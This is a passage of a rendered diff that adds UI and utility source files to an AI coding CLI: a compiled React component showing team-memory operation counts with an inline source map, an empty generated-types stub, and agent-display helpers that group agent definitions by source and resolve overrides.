|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { c as _c } from "react/compiler-runtime";
|
| 2 |
+
import React from 'react';
|
| 3 |
+
import { Text } from '../../ink.js';
|
| 4 |
+
import type { CollapsedReadSearchGroup } from '../../types/message.js';
|
| 5 |
+
|
| 6 |
+
/**
|
| 7 |
+
* Plain function (not a React component) so the React Compiler won't
|
| 8 |
+
* hoist the teamMemory* property accesses for memoization. This module
|
| 9 |
+
* is only loaded when feature('TEAMMEM') is true.
|
| 10 |
+
*/
|
| 11 |
+
export function checkHasTeamMemOps(message: CollapsedReadSearchGroup): boolean {
|
| 12 |
+
return (message.teamMemorySearchCount ?? 0) > 0 || (message.teamMemoryReadCount ?? 0) > 0 || (message.teamMemoryWriteCount ?? 0) > 0;
|
| 13 |
+
}
|
| 14 |
+
|
| 15 |
+
/**
|
| 16 |
+
* Renders team memory count parts for the collapsed read/search UI.
|
| 17 |
+
* This module is only loaded when feature('TEAMMEM') is true,
|
| 18 |
+
* so DCE removes it entirely from external builds.
|
| 19 |
+
*/
|
| 20 |
+
export function TeamMemCountParts(t0) {
|
| 21 |
+
const $ = _c(23);
|
| 22 |
+
const {
|
| 23 |
+
message,
|
| 24 |
+
isActiveGroup,
|
| 25 |
+
hasPrecedingParts
|
| 26 |
+
} = t0;
|
| 27 |
+
const tmReadCount = message.teamMemoryReadCount ?? 0;
|
| 28 |
+
const tmSearchCount = message.teamMemorySearchCount ?? 0;
|
| 29 |
+
const tmWriteCount = message.teamMemoryWriteCount ?? 0;
|
| 30 |
+
if (tmReadCount === 0 && tmSearchCount === 0 && tmWriteCount === 0) {
|
| 31 |
+
return null;
|
| 32 |
+
}
|
| 33 |
+
let t1;
|
| 34 |
+
if ($[0] !== hasPrecedingParts || $[1] !== isActiveGroup || $[2] !== tmReadCount || $[3] !== tmSearchCount || $[4] !== tmWriteCount) {
|
| 35 |
+
const nodes = [];
|
| 36 |
+
let count = hasPrecedingParts ? 1 : 0;
|
| 37 |
+
if (tmReadCount > 0) {
|
| 38 |
+
const verb = isActiveGroup ? count === 0 ? "Recalling" : "recalling" : count === 0 ? "Recalled" : "recalled";
|
| 39 |
+
if (count > 0) {
|
| 40 |
+
let t2;
|
| 41 |
+
if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
|
| 42 |
+
t2 = <Text key="comma-tmr">, </Text>;
|
| 43 |
+
$[6] = t2;
|
| 44 |
+
} else {
|
| 45 |
+
t2 = $[6];
|
| 46 |
+
}
|
| 47 |
+
nodes.push(t2);
|
| 48 |
+
}
|
| 49 |
+
let t2;
|
| 50 |
+
if ($[7] !== tmReadCount) {
|
| 51 |
+
t2 = <Text bold={true}>{tmReadCount}</Text>;
|
| 52 |
+
$[7] = tmReadCount;
|
| 53 |
+
$[8] = t2;
|
| 54 |
+
} else {
|
| 55 |
+
t2 = $[8];
|
| 56 |
+
}
|
| 57 |
+
const t3 = tmReadCount === 1 ? "memory" : "memories";
|
| 58 |
+
let t4;
|
| 59 |
+
if ($[9] !== t2 || $[10] !== t3 || $[11] !== verb) {
|
| 60 |
+
t4 = <Text key="team-mem-read">{verb} {t2} team{" "}{t3}</Text>;
|
| 61 |
+
$[9] = t2;
|
| 62 |
+
$[10] = t3;
|
| 63 |
+
$[11] = verb;
|
| 64 |
+
$[12] = t4;
|
| 65 |
+
} else {
|
| 66 |
+
t4 = $[12];
|
| 67 |
+
}
|
| 68 |
+
nodes.push(t4);
|
| 69 |
+
count++;
|
| 70 |
+
}
|
| 71 |
+
if (tmSearchCount > 0) {
|
| 72 |
+
const verb_0 = isActiveGroup ? count === 0 ? "Searching" : "searching" : count === 0 ? "Searched" : "searched";
|
| 73 |
+
if (count > 0) {
|
| 74 |
+
let t2;
|
| 75 |
+
if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
|
| 76 |
+
t2 = <Text key="comma-tms">, </Text>;
|
| 77 |
+
$[13] = t2;
|
| 78 |
+
} else {
|
| 79 |
+
t2 = $[13];
|
| 80 |
+
}
|
| 81 |
+
nodes.push(t2);
|
| 82 |
+
}
|
| 83 |
+
const t2 = `${verb_0} team memories`;
|
| 84 |
+
let t3;
|
| 85 |
+
if ($[14] !== t2) {
|
| 86 |
+
t3 = <Text key="team-mem-search">{t2}</Text>;
|
| 87 |
+
$[14] = t2;
|
| 88 |
+
$[15] = t3;
|
| 89 |
+
} else {
|
| 90 |
+
t3 = $[15];
|
| 91 |
+
}
|
| 92 |
+
nodes.push(t3);
|
| 93 |
+
count++;
|
| 94 |
+
}
|
| 95 |
+
if (tmWriteCount > 0) {
|
| 96 |
+
const verb_1 = isActiveGroup ? count === 0 ? "Writing" : "writing" : count === 0 ? "Wrote" : "wrote";
|
| 97 |
+
if (count > 0) {
|
| 98 |
+
let t2;
|
| 99 |
+
if ($[16] === Symbol.for("react.memo_cache_sentinel")) {
|
| 100 |
+
t2 = <Text key="comma-tmw">, </Text>;
|
| 101 |
+
$[16] = t2;
|
| 102 |
+
} else {
|
| 103 |
+
t2 = $[16];
|
| 104 |
+
}
|
| 105 |
+
nodes.push(t2);
|
| 106 |
+
}
|
| 107 |
+
let t2;
|
| 108 |
+
if ($[17] !== tmWriteCount) {
|
| 109 |
+
t2 = <Text bold={true}>{tmWriteCount}</Text>;
|
| 110 |
+
$[17] = tmWriteCount;
|
| 111 |
+
$[18] = t2;
|
| 112 |
+
} else {
|
| 113 |
+
t2 = $[18];
|
| 114 |
+
}
|
| 115 |
+
const t3 = tmWriteCount === 1 ? "memory" : "memories";
|
| 116 |
+
let t4;
|
| 117 |
+
if ($[19] !== t2 || $[20] !== t3 || $[21] !== verb_1) {
|
| 118 |
+
t4 = <Text key="team-mem-write">{verb_1} {t2} team{" "}{t3}</Text>;
|
| 119 |
+
$[19] = t2;
|
| 120 |
+
$[20] = t3;
|
| 121 |
+
$[21] = verb_1;
|
| 122 |
+
$[22] = t4;
|
| 123 |
+
} else {
|
| 124 |
+
t4 = $[22];
|
| 125 |
+
}
|
| 126 |
+
nodes.push(t4);
|
| 127 |
+
}
|
| 128 |
+
t1 = <>{nodes}</>;
|
| 129 |
+
$[0] = hasPrecedingParts;
|
| 130 |
+
$[1] = isActiveGroup;
|
| 131 |
+
$[2] = tmReadCount;
|
| 132 |
+
$[3] = tmSearchCount;
|
| 133 |
+
$[4] = tmWriteCount;
|
| 134 |
+
$[5] = t1;
|
| 135 |
+
} else {
|
| 136 |
+
t1 = $[5];
|
| 137 |
+
}
|
| 138 |
+
return t1;
|
| 139 |
+
}
|
| 140 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlRleHQiLCJDb2xsYXBzZWRSZWFkU2VhcmNoR3JvdXAiLCJjaGVja0hhc1RlYW1NZW1PcHMiLCJtZXNzYWdlIiwidGVhbU1lbW9yeVNlYXJjaENvdW50IiwidGVhbU1lbW9yeVJlYWRDb3VudCIsInRlYW1NZW1vcnlXcml0ZUNvdW50IiwiVGVhbU1lbUNvdW50UGFydHMiLCJ0MCIsIiQiLCJfYyIsImlzQWN0aXZlR3JvdXAiLCJoYXNQcmVjZWRpbmdQYXJ0cyIsInRtUmVhZENvdW50IiwidG1TZWFyY2hDb3VudCIsInRtV3JpdGVDb3VudCIsInQxIiwibm9kZXMiLCJjb3VudCIsInZlcmIiLCJ0MiIsIlN5bWJvbCIsImZvciIsInB1c2giLCJ0MyIsInQ0IiwidmVyYl8wIiwidmVyYl8xIl0sInNvdXJjZXMiOlsidGVhbU1lbUNvbGxhcHNlZC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgQ29sbGFwc2VkUmVhZFNlYXJjaEdyb3VwIH0gZnJvbSAnLi4vLi4vdHlwZXMvbWVzc2FnZS5qcydcblxuLyoqXG4gKiBQbGFpbiBmdW5jdGlvbiAobm90IGEgUmVhY3QgY29tcG9uZW50KSBzbyB0aGUgUmVhY3QgQ29tcGlsZXIgd29uJ3RcbiAqIGhvaXN0IHRoZSB0ZWFtTWVtb3J5KiBwcm9wZXJ0eSBhY2Nlc3NlcyBmb3IgbWVtb2l6YXRpb24uIFRoaXMgbW9kdWxlXG4gKiBpcyBvbmx5IGxvYWRlZCB3aGVuIGZlYXR1cmUoJ1RFQU1NRU0nKSBpcyB0cnVlLlxuICovXG5leHBvcnQgZnVuY3Rpb24gY2hlY2tIYXNUZWFtTWVtT3BzKG1lc3NhZ2U6IENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cCk6IGJvb2xlYW4ge1xuICByZXR1cm4gKFxuICAgIChtZXNzYWdlLnRlYW1NZW1vcnlTZWFyY2hDb3VudCA/PyAwKSA+IDAgfHxcbiAgICAobWVzc2FnZS50ZWFtTWVtb3J5UmVhZENvdW50ID8/IDApID4gMCB8fFxuICAgIChtZXNzYWdlLnRlYW1NZW1vcnlXcml0ZUNvdW50ID8/IDApID4gMFxuICApXG59XG5cbi8qKlxuICogUmVuZGVycyB0ZWFtIG1lbW9yeSBjb3VudCBwYXJ0cyBmb3IgdGhlIGNvbGxhcHNlZCByZWFkL3NlYXJjaCBVSS5cbiAqIFRoaXMgbW9kdWxlIGlzIG9ubHkgbG9hZGVkIHdoZW4gZmVhdHVyZSgnVEVBTU1FTScpIGlzIHRydWUsXG4gKiBzbyBEQ0UgcmVtb3ZlcyBpdCBlbnRpcmVseSBmcm9tIGV4dGVybmFsIGJ1aWxkcy5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIFRlYW1NZW1Db3VudFBhcnRzKHtcbiAgbWVzc2FnZSxcbiAgaXNBY3RpdmVHcm91cCxcbiAgaGFzUHJlY2VkaW5nUGFydHMsXG59OiB7XG4gIG1lc3NhZ2U6IENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cFxuICBpc0FjdGl2ZUdyb3VwOiBib29sZWFuIHwgdW5kZWZpbmVkXG4gIGhhc1ByZWNlZGluZ1BhcnRzOiBib29sZWFuXG59KTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgdG1SZWFkQ291bnQgPSBtZXNzYWdlLnRlYW1NZW1vcnlSZWFkQ291bnQgPz8gMFxuICBjb25zdCB0bVNlYXJjaENvdW50ID0gbWVzc2FnZS50ZWFtTWVtb3J5U2VhcmNoQ291bnQgPz8gMFxuICBjb25zdCB0bVdyaXRlQ291bnQgPSBtZXNzYWdlLnRlYW1NZW1vcnlXcml0ZUNvdW50ID8/IDBcblxuICBpZiAodG1SZWFkQ291bnQgPT09IDAgJiYgdG1TZWFyY2hDb3VudCA9PT0gMCAmJiB0bVdyaXRlQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgY29uc3Qgbm9kZXM6IFJlYWN0LlJlYWN0Tm9kZVtdID0gW11cbiAgbGV0IGNvdW50ID0gaGFzUHJlY2VkaW5nUGFydHMgPyAxIDogMFxuXG4gIGlmICh0bVJlYWRDb3VudCA+IDApIHtcbiAgICBjb25zdCB2ZXJiID0gaXNBY3RpdmVHcm91cFxuICAgICAgPyBjb3VudCA9PT0gMFxuICAgICAgICA/ICdSZWNhbGxpbmcnXG4gICAgICAgIDogJ3JlY2FsbGluZydcbiAgICAgIDogY291bnQgPT09IDBcbiAgICAgICAgPyAnUmVjYWxsZWQnXG4gICAgICAgIDogJ3JlY2FsbGVkJ1xuICAgIGlmIChjb3VudCA+IDApIHtcbiAgICAgIG5vZGVzLnB1c2goPFRleHQga2V5PVwiY29tbWEtdG1yXCI+LCA8L1RleHQ+KVxuICAgIH1cbiAgICBub2Rlcy5wdXNoKFxuICAgICAgPFRleHQga2V5PVwidGVhbS1tZW0tcmVhZFwiPlxuICAgICAgICB7dmVyYn0gPFRleHQgYm9sZD57dG1SZWFkQ291bnR9PC9UZXh0PiB0ZWFteycgJ31cbiAgICAgICAge3RtUmVhZENvdW50ID09PSAxID8gJ21lbW9yeScgOiAnbWVtb3JpZXMnfVxuICAgICAgPC9UZXh0PixcbiAgICApXG4gICAgY291bnQrK1xuICB9XG5cbiAgaWYgKHRtU2VhcmNoQ291bnQgPiAwKSB7XG4gICAgY29uc3QgdmVyYiA9IGlzQWN0aXZlR3JvdXBcbiAgICAgID8gY291bnQgPT09IDBcbiAgICAgICAgPyAnU2VhcmNoaW5nJ1xuICAgICAgICA6ICdzZWFyY2hpbmcnXG4gICAgICA6IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1NlYXJjaGVkJ1xuICAgICAgICA6ICdzZWFyY2hlZCdcbiAgICBpZiAoY291bnQgPiAwKSB7XG4gICAgICBub2Rlcy5wdXNoKDxUZXh0IGtleT1cImNvbW1hLXRtc1wiPiwgPC9UZXh0PilcbiAgICB9XG4gICAgbm9kZXMucHVzaCg8VGV4dCBrZXk9XCJ0ZWFtLW1lbS1zZWFyY2hcIj57YCR7dmVyYn0gdGVhbSBtZW1vcmllc2B9PC9UZXh0PilcbiAgICBjb3VudCsrXG4gIH1cblxuICBpZiAodG1Xcml0ZUNvdW50ID4gMCkge1xuICAgIGNvbnN0IHZlcmIgPSBpc0FjdGl2ZUdyb3VwXG4gICAgICA/IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1dyaXRpbmcnXG4gICAgICAgIDogJ3dyaXRpbmcnXG4gICAgICA6IGNvdW50ID09PSAwXG4gICAgICAgID8gJ1dyb3RlJ1xuICAgICAgICA6ICd3cm90ZSdcbiAgICBpZiAoY291bnQgPiAwKSB7XG4gICAgICBub2Rlcy5wdXNoKDxUZXh0IGtleT1cImNvbW1hLXRtd1wiPiwgPC9UZXh0PilcbiAgICB9XG4gICAgbm9kZXMucHVzaChcbiAgICAgIDxUZXh0IGtleT1cInRlYW0tbWVtLXdyaXRlXCI+XG4gICAgICAgIHt2ZXJifSA8VGV4dCBib2xkPnt0bVdyaXRlQ291bnR9PC9UZXh0PiB0ZWFteycgJ31cbiAgICAgICAge3RtV3JpdGVDb3VudCA9PT0gMSA/ICdtZW1vcnknIDogJ21lbW9yaWVzJ31cbiAgICAgIDwvVGV4dD4sXG4gICAgKVxuICB9XG5cbiAgcmV0dXJuIDw+e25vZGVzfTwvPlxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxNQUFNLE9BQU87QUFDekIsU0FBU0MsSUFBSSxRQUFRLGNBQWM7QUFDbkMsY0FBY0Msd0JBQXdCLFFBQVEsd0JBQXdCOztBQUV0RTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFTQyxrQkFBa0JBLENBQUNDLE9BQU8sRUFBRUYsd0JBQXdCLENBQUMsRUFBRSxPQUFPLENBQUM7RUFDN0UsT0FDRSxDQUFDRSxPQUFPLENBQUNDLHFCQUFxQixJQUFJLENBQUMsSUFBSSxDQUFDLElBQ3hDLENBQUNELE9BQU8sQ0FBQ0UsbUJBQW1CLElBQUksQ0FBQyxJQUFJLENBQUMsSUFDdEMsQ0FBQ0YsT0FBTyxDQUFDRyxvQkFBb0IsSUFBSSxDQUFDLElBQUksQ0FBQztBQUUzQzs7QUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFBQyxrQkFBQUMsRUFBQTtFQUFBLE1BQUFDLENBQUEsR0FBQUMsRUFBQTtFQUEyQjtJQUFBUCxPQUFBO0lBQUFRLGFBQUE7SUFBQUM7RUFBQSxJQUFB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
|
src/entrypoints/sdk/coreTypes.generated.ts
ADDED
|
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// Generated SDK type definitions are omitted from this source snapshot.
|
| 2 |
+
// Runtime code imports this module through `export *`; an empty module keeps
|
| 3 |
+
// source-mode execution working because those generated exports are type-only.
|
| 4 |
+
export {}
|
src/tools/AgentTool/AgentTool.tsx
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
src/tools/AgentTool/agentDisplay.ts
ADDED
|
@@ -0,0 +1,104 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Shared utilities for displaying agent information.
|
| 3 |
+
* Used by both the CLI `claude agents` handler and the interactive `/agents` command.
|
| 4 |
+
*/
|
| 5 |
+
|
| 6 |
+
import { getDefaultSubagentModel } from '../../utils/model/agent.js'
|
| 7 |
+
import {
|
| 8 |
+
getSourceDisplayName,
|
| 9 |
+
type SettingSource,
|
| 10 |
+
} from '../../utils/settings/constants.js'
|
| 11 |
+
import type { AgentDefinition } from './loadAgentsDir.js'
|
| 12 |
+
|
| 13 |
+
type AgentSource = SettingSource | 'built-in' | 'plugin'
|
| 14 |
+
|
| 15 |
+
export type AgentSourceGroup = {
|
| 16 |
+
label: string
|
| 17 |
+
source: AgentSource
|
| 18 |
+
}
|
| 19 |
+
|
| 20 |
+
/**
|
| 21 |
+
* Ordered list of agent source groups for display.
|
| 22 |
+
* Both the CLI and interactive UI should use this to ensure consistent ordering.
|
| 23 |
+
*/
|
| 24 |
+
export const AGENT_SOURCE_GROUPS: AgentSourceGroup[] = [
|
| 25 |
+
{ label: 'User agents', source: 'userSettings' },
|
| 26 |
+
{ label: 'Project agents', source: 'projectSettings' },
|
| 27 |
+
{ label: 'Local agents', source: 'localSettings' },
|
| 28 |
+
{ label: 'Managed agents', source: 'policySettings' },
|
| 29 |
+
{ label: 'Plugin agents', source: 'plugin' },
|
| 30 |
+
{ label: 'CLI arg agents', source: 'flagSettings' },
|
| 31 |
+
{ label: 'Built-in agents', source: 'built-in' },
|
| 32 |
+
]
|
| 33 |
+
|
| 34 |
+
export type ResolvedAgent = AgentDefinition & {
|
| 35 |
+
overriddenBy?: AgentSource
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
/**
|
| 39 |
+
* Annotate agents with override information by comparing against the active
|
| 40 |
+
* (winning) agent list. An agent is "overridden" when another agent with the
|
| 41 |
+
* same type from a higher-priority source takes precedence.
|
| 42 |
+
*
|
| 43 |
+
* Also deduplicates by (agentType, source) to handle git worktree duplicates
|
| 44 |
+
* where the same agent file is loaded from both the worktree and main repo.
|
| 45 |
+
*/
|
| 46 |
+
export function resolveAgentOverrides(
|
| 47 |
+
allAgents: AgentDefinition[],
|
| 48 |
+
activeAgents: AgentDefinition[],
|
| 49 |
+
): ResolvedAgent[] {
|
| 50 |
+
const activeMap = new Map<string, AgentDefinition>()
|
| 51 |
+
for (const agent of activeAgents) {
|
| 52 |
+
activeMap.set(agent.agentType, agent)
|
| 53 |
+
}
|
| 54 |
+
|
| 55 |
+
const seen = new Set<string>()
|
| 56 |
+
const resolved: ResolvedAgent[] = []
|
| 57 |
+
|
| 58 |
+
// Iterate allAgents, annotating each with override info from activeAgents.
|
| 59 |
+
// Deduplicate by (agentType, source) to handle git worktree duplicates.
|
| 60 |
+
for (const agent of allAgents) {
|
| 61 |
+
const key = `${agent.agentType}:${agent.source}`
|
| 62 |
+
if (seen.has(key)) continue
|
| 63 |
+
seen.add(key)
|
| 64 |
+
|
| 65 |
+
const active = activeMap.get(agent.agentType)
|
| 66 |
+
